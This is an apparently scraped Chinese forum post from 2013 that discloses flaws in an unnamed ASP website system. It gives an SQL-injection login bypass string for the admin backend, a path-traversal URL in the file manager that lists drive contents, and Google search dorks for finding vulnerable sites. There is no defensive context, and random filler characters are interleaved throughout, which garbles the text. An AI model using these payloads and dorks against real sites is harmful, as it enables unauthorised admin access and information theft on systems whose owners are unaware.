后台万能密码 'or'='or'3 h0 v" T4 w& q5 Q
$ m. J* U: @) f7 K! ?5 k" C
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！4 E$ |3 ^; ]# z) O; V! `( y
admin/uploadfile.asp?currentFolder=/upfiles/../
) O0 ]) V1 M, U
, j, b8 n' u. s8 \; U: E& V; l0 \0 x( U漏洞证明：" {+ b- M0 ]5 f+ r) j, b! G8 i
Q* s) n: [5 i! X [: E3 u谷歌：inurl:type.asp?id=1 新闻中心
4 m, p3 `1 K* D, L或者 ：inurl:download_ok.asp?
* T1 ^$ H" g) Y, I( S0 r3 S9 K5 b6 t4 }% W( B# W& |( t- y
|
发表于 2013-3-14 20:17:32
收藏
支持
反对